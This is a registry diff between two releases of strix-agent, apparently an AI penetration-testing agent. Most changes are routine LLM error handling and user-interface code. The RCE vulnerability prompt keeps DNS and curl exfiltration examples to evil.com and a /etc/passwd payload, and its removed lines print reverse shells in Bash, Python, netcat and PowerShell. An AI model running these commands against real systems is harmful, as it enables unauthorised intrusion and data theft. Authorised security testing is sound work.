strix-agent 0.1.13__tar.gz → 0.1.15__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strix-agent might be problematic. Click here for more details.
- {strix_agent-0.1.13 → strix_agent-0.1.15}/PKG-INFO +1 -1
- {strix_agent-0.1.13 → strix_agent-0.1.15}/pyproject.toml +1 -1
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/agents/base_agent.py +33 -6
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/agents/state.py +4 -1
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/app.py +10 -3
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/browser_renderer.py +13 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/file_edit_renderer.py +4 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/llm/__init__.py +4 -1
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/llm/llm.py +8 -9
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/llm/memory_compressor.py +4 -1
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/llm/request_queue.py +2 -2
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/rce.jinja +2 -18
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/sql_injection.jinja +0 -1
- {strix_agent-0.1.13 → strix_agent-0.1.15}/LICENSE +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/README.md +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/agents/StrixAgent/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/agents/StrixAgent/strix_agent.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/agents/StrixAgent/system_prompt.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/agents/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/assets/cli.tcss +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/main.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/agents_graph_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/base_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/finish_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/notes_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/proxy_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/python_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/registry.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/reporting_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/scan_info_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/terminal_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/thinking_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/user_message_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/web_search_renderer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tracer.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/llm/config.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/llm/utils.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/coordination/root_agent.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/authentication_jwt.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/business_logic.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/csrf.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/idor.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/race_conditions.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/ssrf.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/xss.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/xxe.jinja +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/runtime/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/runtime/docker_runtime.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/runtime/runtime.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/runtime/tool_server.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/agents_graph/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/agents_graph/agents_graph_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/agents_graph/agents_graph_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/argument_parser.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/browser/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/browser/browser_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/browser/browser_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/browser/browser_instance.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/browser/tab_manager.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/executor.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/file_edit/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/file_edit/file_edit_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/file_edit/file_edit_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/finish/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/finish/finish_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/finish/finish_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/notes/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/notes/notes_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/notes/notes_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/proxy/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/proxy/proxy_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/proxy/proxy_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/proxy/proxy_manager.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/python/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/python/python_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/python/python_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/python/python_instance.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/python/python_manager.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/registry.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/reporting/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/reporting/reporting_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/reporting/reporting_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/terminal/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/terminal/terminal_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/terminal/terminal_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/terminal/terminal_manager.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/terminal/terminal_session.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/thinking/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/thinking/thinking_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/thinking/thinking_actions_schema.xml +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/web_search/__init__.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/web_search/web_search_actions.py +0 -0
- {strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/web_search/web_search_actions_schema.xml +0 -0
|
@@ -13,7 +13,7 @@ from jinja2 import (
|
|
|
13
13
|
select_autoescape,
|
|
14
14
|
)
|
|
15
15
|
|
|
16
|
-
from strix.llm import LLM, LLMConfig
|
|
16
|
+
from strix.llm import LLM, LLMConfig, LLMRequestFailedError
|
|
17
17
|
from strix.llm.utils import clean_content
|
|
18
18
|
from strix.tools import process_tool_invocations
|
|
19
19
|
|
|
@@ -164,6 +164,10 @@ class BaseAgent(metaclass=AgentMeta):
|
|
|
164
164
|
await self._enter_waiting_state(tracer)
|
|
165
165
|
continue
|
|
166
166
|
|
|
167
|
+
if self.state.llm_failed:
|
|
168
|
+
await self._wait_for_input()
|
|
169
|
+
continue
|
|
170
|
+
|
|
167
171
|
self.state.increment_iteration()
|
|
168
172
|
|
|
169
173
|
try:
|
|
@@ -176,6 +180,13 @@ class BaseAgent(metaclass=AgentMeta):
|
|
|
176
180
|
await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True)
|
|
177
181
|
continue
|
|
178
182
|
|
|
183
|
+
except LLMRequestFailedError as e:
|
|
184
|
+
self.state.add_error(f"LLM request failed: {e}")
|
|
185
|
+
self.state.enter_waiting_state(llm_failed=True)
|
|
186
|
+
if tracer:
|
|
187
|
+
tracer.update_agent_status(self.state.agent_id, "llm_failed")
|
|
188
|
+
continue
|
|
189
|
+
|
|
179
190
|
except (RuntimeError, ValueError, TypeError) as e:
|
|
180
191
|
if not await self._handle_iteration_error(e, tracer):
|
|
181
192
|
await self._enter_waiting_state(tracer, error_occurred=True)
|
|
@@ -327,7 +338,7 @@ class BaseAgent(metaclass=AgentMeta):
|
|
|
327
338
|
tracer.update_agent_status(self.state.agent_id, "error")
|
|
328
339
|
return True
|
|
329
340
|
|
|
330
|
-
def _check_agent_messages(self, state: AgentState) -> None:
|
|
341
|
+
def _check_agent_messages(self, state: AgentState) -> None: # noqa: PLR0912
|
|
331
342
|
try:
|
|
332
343
|
from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages
|
|
333
344
|
|
|
@@ -340,12 +351,28 @@ class BaseAgent(metaclass=AgentMeta):
|
|
|
340
351
|
has_new_messages = False
|
|
341
352
|
for message in messages:
|
|
342
353
|
if not message.get("read", False):
|
|
354
|
+
sender_id = message.get("from")
|
|
355
|
+
|
|
343
356
|
if state.is_waiting_for_input():
|
|
344
|
-
state.
|
|
345
|
-
|
|
357
|
+
if state.llm_failed:
|
|
358
|
+
if sender_id == "user":
|
|
359
|
+
state.resume_from_waiting()
|
|
360
|
+
has_new_messages = True
|
|
346
361
|
|
|
347
|
-
|
|
348
|
-
|
|
362
|
+
from strix.cli.tracer import get_global_tracer
|
|
363
|
+
|
|
364
|
+
tracer = get_global_tracer()
|
|
365
|
+
if tracer:
|
|
366
|
+
tracer.update_agent_status(state.agent_id, "running")
|
|
367
|
+
else:
|
|
368
|
+
state.resume_from_waiting()
|
|
369
|
+
has_new_messages = True
|
|
370
|
+
|
|
371
|
+
from strix.cli.tracer import get_global_tracer
|
|
372
|
+
|
|
373
|
+
tracer = get_global_tracer()
|
|
374
|
+
if tracer:
|
|
375
|
+
tracer.update_agent_status(state.agent_id, "running")
|
|
349
376
|
|
|
350
377
|
if sender_id == "user":
|
|
351
378
|
sender_name = "User"
|
|
@@ -23,6 +23,7 @@ class AgentState(BaseModel):
|
|
|
23
23
|
completed: bool = False
|
|
24
24
|
stop_requested: bool = False
|
|
25
25
|
waiting_for_input: bool = False
|
|
26
|
+
llm_failed: bool = False
|
|
26
27
|
final_result: dict[str, Any] | None = None
|
|
27
28
|
|
|
28
29
|
messages: list[dict[str, Any]] = Field(default_factory=list)
|
|
@@ -85,15 +86,17 @@ class AgentState(BaseModel):
|
|
|
85
86
|
def is_waiting_for_input(self) -> bool:
|
|
86
87
|
return self.waiting_for_input
|
|
87
88
|
|
|
88
|
-
def enter_waiting_state(self) -> None:
|
|
89
|
+
def enter_waiting_state(self, llm_failed: bool = False) -> None:
|
|
89
90
|
self.waiting_for_input = True
|
|
90
91
|
self.stop_requested = False
|
|
92
|
+
self.llm_failed = llm_failed
|
|
91
93
|
self.last_updated = datetime.now(UTC).isoformat()
|
|
92
94
|
|
|
93
95
|
def resume_from_waiting(self, new_task: str | None = None) -> None:
|
|
94
96
|
self.waiting_for_input = False
|
|
95
97
|
self.stop_requested = False
|
|
96
98
|
self.completed = False
|
|
99
|
+
self.llm_failed = False
|
|
97
100
|
if new_task:
|
|
98
101
|
self.task = new_task
|
|
99
102
|
self.last_updated = datetime.now(UTC).isoformat()
|
|
@@ -420,6 +420,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
|
|
420
420
|
"failed": "❌",
|
|
421
421
|
"stopped": "⏹️",
|
|
422
422
|
"stopping": "⏸️",
|
|
423
|
+
"llm_failed": "🔴",
|
|
423
424
|
}
|
|
424
425
|
|
|
425
426
|
status_icon = status_indicators.get(status, "🔵")
|
|
@@ -544,6 +545,12 @@ class StrixCLIApp(App): # type: ignore[misc]
|
|
|
544
545
|
self._safe_widget_operation(status_text.update, "Agent completed")
|
|
545
546
|
self._safe_widget_operation(keymap_indicator.update, "")
|
|
546
547
|
self._safe_widget_operation(status_display.remove_class, "hidden")
|
|
548
|
+
elif status == "llm_failed":
|
|
549
|
+
self._safe_widget_operation(status_text.update, "[red]LLM request failed[/red]")
|
|
550
|
+
self._safe_widget_operation(
|
|
551
|
+
keymap_indicator.update, "[dim]Send message to retry[/dim]"
|
|
552
|
+
)
|
|
553
|
+
self._safe_widget_operation(status_display.remove_class, "hidden")
|
|
547
554
|
elif status == "waiting":
|
|
548
555
|
animated_text = self._get_animated_waiting_text(self.selected_agent_id)
|
|
549
556
|
self._safe_widget_operation(status_text.update, animated_text)
|
|
@@ -626,7 +633,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
|
|
626
633
|
|
|
627
634
|
for agent_id, agent_data in self.tracer.agents.items():
|
|
628
635
|
status = agent_data.get("status", "running")
|
|
629
|
-
if status in ["running", "waiting"]:
|
|
636
|
+
if status in ["running", "waiting", "llm_failed"]:
|
|
630
637
|
has_active_agents = True
|
|
631
638
|
current_dots = self._agent_dot_states.get(agent_id, 0)
|
|
632
639
|
self._agent_dot_states[agent_id] = (current_dots + 1) % 4
|
|
@@ -637,7 +644,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
|
|
637
644
|
and self.selected_agent_id in self.tracer.agents
|
|
638
645
|
):
|
|
639
646
|
selected_status = self.tracer.agents[self.selected_agent_id].get("status", "running")
|
|
640
|
-
if selected_status in ["running", "waiting"]:
|
|
647
|
+
if selected_status in ["running", "waiting", "llm_failed"]:
|
|
641
648
|
self._update_agent_status_display()
|
|
642
649
|
|
|
643
650
|
if not has_active_agents:
|
|
@@ -645,7 +652,7 @@ class StrixCLIApp(App): # type: ignore[misc]
|
|
|
645
652
|
for agent_id in list(self._agent_dot_states.keys()):
|
|
646
653
|
if agent_id not in self.tracer.agents or self.tracer.agents[agent_id].get(
|
|
647
654
|
"status"
|
|
648
|
-
) not in ["running", "waiting"]:
|
|
655
|
+
) not in ["running", "waiting", "llm_failed"]:
|
|
649
656
|
del self._agent_dot_states[agent_id]
|
|
650
657
|
|
|
651
658
|
def _gather_agent_events(self, agent_id: str) -> list[dict[str, Any]]:
|
|
@@ -30,6 +30,8 @@ class BrowserRenderer(BaseToolRenderer):
|
|
|
30
30
|
url = args.get("url")
|
|
31
31
|
text = args.get("text")
|
|
32
32
|
js_code = args.get("js_code")
|
|
33
|
+
key = args.get("key")
|
|
34
|
+
file_path = args.get("file_path")
|
|
33
35
|
|
|
34
36
|
if action in [
|
|
35
37
|
"launch",
|
|
@@ -40,6 +42,8 @@ class BrowserRenderer(BaseToolRenderer):
|
|
|
40
42
|
"click",
|
|
41
43
|
"double_click",
|
|
42
44
|
"hover",
|
|
45
|
+
"press_key",
|
|
46
|
+
"save_pdf",
|
|
43
47
|
]:
|
|
44
48
|
if action == "launch":
|
|
45
49
|
display_url = cls._format_url(url) if url else None
|
|
@@ -60,6 +64,12 @@ class BrowserRenderer(BaseToolRenderer):
|
|
|
60
64
|
message = (
|
|
61
65
|
f"executing javascript\n{display_js}" if display_js else "executing javascript"
|
|
62
66
|
)
|
|
67
|
+
elif action == "press_key":
|
|
68
|
+
display_key = cls.escape_markup(key) if key else None
|
|
69
|
+
message = f"pressing key {display_key}" if display_key else "pressing key"
|
|
70
|
+
elif action == "save_pdf":
|
|
71
|
+
display_path = cls.escape_markup(file_path) if file_path else None
|
|
72
|
+
message = f"saving PDF to {display_path}" if display_path else "saving PDF"
|
|
63
73
|
else:
|
|
64
74
|
action_words = {
|
|
65
75
|
"click": "clicking",
|
|
@@ -73,11 +83,14 @@ class BrowserRenderer(BaseToolRenderer):
|
|
|
73
83
|
simple_actions = {
|
|
74
84
|
"back": "going back in browser history",
|
|
75
85
|
"forward": "going forward in browser history",
|
|
86
|
+
"scroll_down": "scrolling down",
|
|
87
|
+
"scroll_up": "scrolling up",
|
|
76
88
|
"refresh": "refreshing browser tab",
|
|
77
89
|
"close_tab": "closing browser tab",
|
|
78
90
|
"switch_tab": "switching browser tab",
|
|
79
91
|
"list_tabs": "listing browser tabs",
|
|
80
92
|
"view_source": "viewing page source",
|
|
93
|
+
"get_console_logs": "getting console logs",
|
|
81
94
|
"screenshot": "taking screenshot of browser tab",
|
|
82
95
|
"wait": "waiting...",
|
|
83
96
|
"close": "closing browser",
|
|
@@ -25,6 +25,10 @@ class StrReplaceEditorRenderer(BaseToolRenderer):
|
|
|
25
25
|
header = "✏️ [bold #10b981]Editing file[/]"
|
|
26
26
|
elif command == "create":
|
|
27
27
|
header = "📝 [bold #10b981]Creating file[/]"
|
|
28
|
+
elif command == "insert":
|
|
29
|
+
header = "✏️ [bold #10b981]Inserting text[/]"
|
|
30
|
+
elif command == "undo_edit":
|
|
31
|
+
header = "↩️ [bold #10b981]Undoing edit[/]"
|
|
28
32
|
else:
|
|
29
33
|
header = "📄 [bold #10b981]File operation[/]"
|
|
30
34
|
|
|
@@ -1,12 +1,15 @@
|
|
|
1
1
|
import litellm
|
|
2
2
|
|
|
3
3
|
from .config import LLMConfig
|
|
4
|
-
from .llm import LLM
|
|
4
|
+
from .llm import LLM, LLMRequestFailedError
|
|
5
5
|
|
|
6
6
|
|
|
7
7
|
__all__ = [
|
|
8
8
|
"LLM",
|
|
9
9
|
"LLMConfig",
|
|
10
|
+
"LLMRequestFailedError",
|
|
10
11
|
]
|
|
11
12
|
|
|
13
|
+
litellm._logging._disable_debugging()
|
|
14
|
+
|
|
12
15
|
litellm.drop_params = True
|
|
@@ -28,6 +28,11 @@ api_key = os.getenv("LLM_API_KEY")
|
|
|
28
28
|
if api_key:
|
|
29
29
|
litellm.api_key = api_key
|
|
30
30
|
|
|
31
|
+
|
|
32
|
+
class LLMRequestFailedError(Exception):
|
|
33
|
+
"""Raised when LLM request fails after all retry attempts."""
|
|
34
|
+
|
|
35
|
+
|
|
31
36
|
MODELS_WITHOUT_STOP_WORDS = [
|
|
32
37
|
"gpt-5",
|
|
33
38
|
"gpt-5-mini",
|
|
@@ -250,15 +255,8 @@ class LLM:
|
|
|
250
255
|
tool_invocations=tool_invocations if tool_invocations else None,
|
|
251
256
|
)
|
|
252
257
|
|
|
253
|
-
except
|
|
254
|
-
|
|
255
|
-
return LLMResponse(
|
|
256
|
-
scan_id=scan_id,
|
|
257
|
-
step_number=step_number,
|
|
258
|
-
role=StepRole.AGENT,
|
|
259
|
-
content="An error occurred while generating the response",
|
|
260
|
-
tool_invocations=None,
|
|
261
|
-
)
|
|
258
|
+
except Exception as e:
|
|
259
|
+
raise LLMRequestFailedError("LLM request failed after all retry attempts") from e
|
|
262
260
|
|
|
263
261
|
@property
|
|
264
262
|
def usage_stats(self) -> dict[str, dict[str, int | float]]:
|
|
@@ -307,6 +305,7 @@ class LLM:
|
|
|
307
305
|
"model": self.config.model_name,
|
|
308
306
|
"messages": messages,
|
|
309
307
|
"temperature": self.config.temperature,
|
|
308
|
+
"timeout": 180,
|
|
310
309
|
}
|
|
311
310
|
|
|
312
311
|
if self._should_include_stop_param():
|
|
@@ -106,10 +106,13 @@ def _summarize_messages(
|
|
|
106
106
|
completion_args = {
|
|
107
107
|
"model": model,
|
|
108
108
|
"messages": [{"role": "user", "content": prompt}],
|
|
109
|
+
"timeout": 180,
|
|
109
110
|
}
|
|
110
111
|
|
|
111
112
|
response = litellm.completion(**completion_args)
|
|
112
|
-
summary = response.choices[0].message.content
|
|
113
|
+
summary = response.choices[0].message.content or ""
|
|
114
|
+
if not summary.strip():
|
|
115
|
+
return messages[0]
|
|
113
116
|
summary_msg = "<context_summary message_count='{count}'>{text}</context_summary>"
|
|
114
117
|
return {
|
|
115
118
|
"role": "assistant",
|
|
@@ -38,8 +38,8 @@ class LLMRequestQueue:
|
|
|
38
38
|
self._semaphore.release()
|
|
39
39
|
|
|
40
40
|
@retry( # type: ignore[misc]
|
|
41
|
-
stop=stop_after_attempt(
|
|
42
|
-
wait=wait_exponential(multiplier=
|
|
41
|
+
stop=stop_after_attempt(5),
|
|
42
|
+
wait=wait_exponential(multiplier=2, min=1, max=30),
|
|
43
43
|
reraise=True,
|
|
44
44
|
)
|
|
45
45
|
async def _reliable_request(self, completion_args: dict[str, Any]) -> ModelResponse:
|
|
@@ -59,7 +59,7 @@ ${IFS}id
|
|
|
59
59
|
|
|
60
60
|
<language_specific_rce>
|
|
61
61
|
<php>
|
|
62
|
-
- eval(
|
|
62
|
+
- eval() with user input
|
|
63
63
|
- system(), exec(), shell_exec(), passthru()
|
|
64
64
|
- preg_replace with /e modifier
|
|
65
65
|
- assert() with string input
|
|
@@ -101,7 +101,7 @@ Works in multiple contexts:
|
|
|
101
101
|
- DNS exfiltration: $(whoami).evil.com
|
|
102
102
|
- HTTP callbacks: curl evil.com/$(id)
|
|
103
103
|
- Time delays for boolean extraction
|
|
104
|
-
- Write to web root
|
|
104
|
+
- Write to web root
|
|
105
105
|
</blind_rce>
|
|
106
106
|
|
|
107
107
|
<chained_exploitation>
|
|
@@ -163,22 +163,6 @@ concat:|file:///etc/passwd
|
|
|
163
163
|
- Path traversal: /usr/bin/id vs id
|
|
164
164
|
</waf_bypasses>
|
|
165
165
|
|
|
166
|
-
<post_exploitation>
|
|
167
|
-
<reverse_shells>
|
|
168
|
-
Bash: bash -i >& /dev/tcp/attacker/4444 0>&1
|
|
169
|
-
Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
|
170
|
-
Netcat: nc -e /bin/sh attacker 4444
|
|
171
|
-
PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
|
172
|
-
</reverse_shells>
|
|
173
|
-
|
|
174
|
-
<persistence>
|
|
175
|
-
- Cron jobs
|
|
176
|
-
- SSH keys
|
|
177
|
-
- Web shells
|
|
178
|
-
- Systemd services
|
|
179
|
-
</persistence>
|
|
180
|
-
</post_exploitation>
|
|
181
|
-
|
|
182
166
|
<validation>
|
|
183
167
|
To confirm RCE:
|
|
184
168
|
1. Execute unique command (id, hostname)
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/agents_graph_renderer.py
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/cli/tool_components/user_message_renderer.py
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/authentication_jwt.jinja
RENAMED
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/business_logic.jinja
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/prompts/vulnerabilities/race_conditions.jinja
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/agents_graph/agents_graph_actions_schema.xml
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/file_edit/file_edit_actions_schema.xml
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/reporting/reporting_actions_schema.xml
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{strix_agent-0.1.13 → strix_agent-0.1.15}/strix/tools/web_search/web_search_actions_schema.xml
RENAMED
|
File without changes
|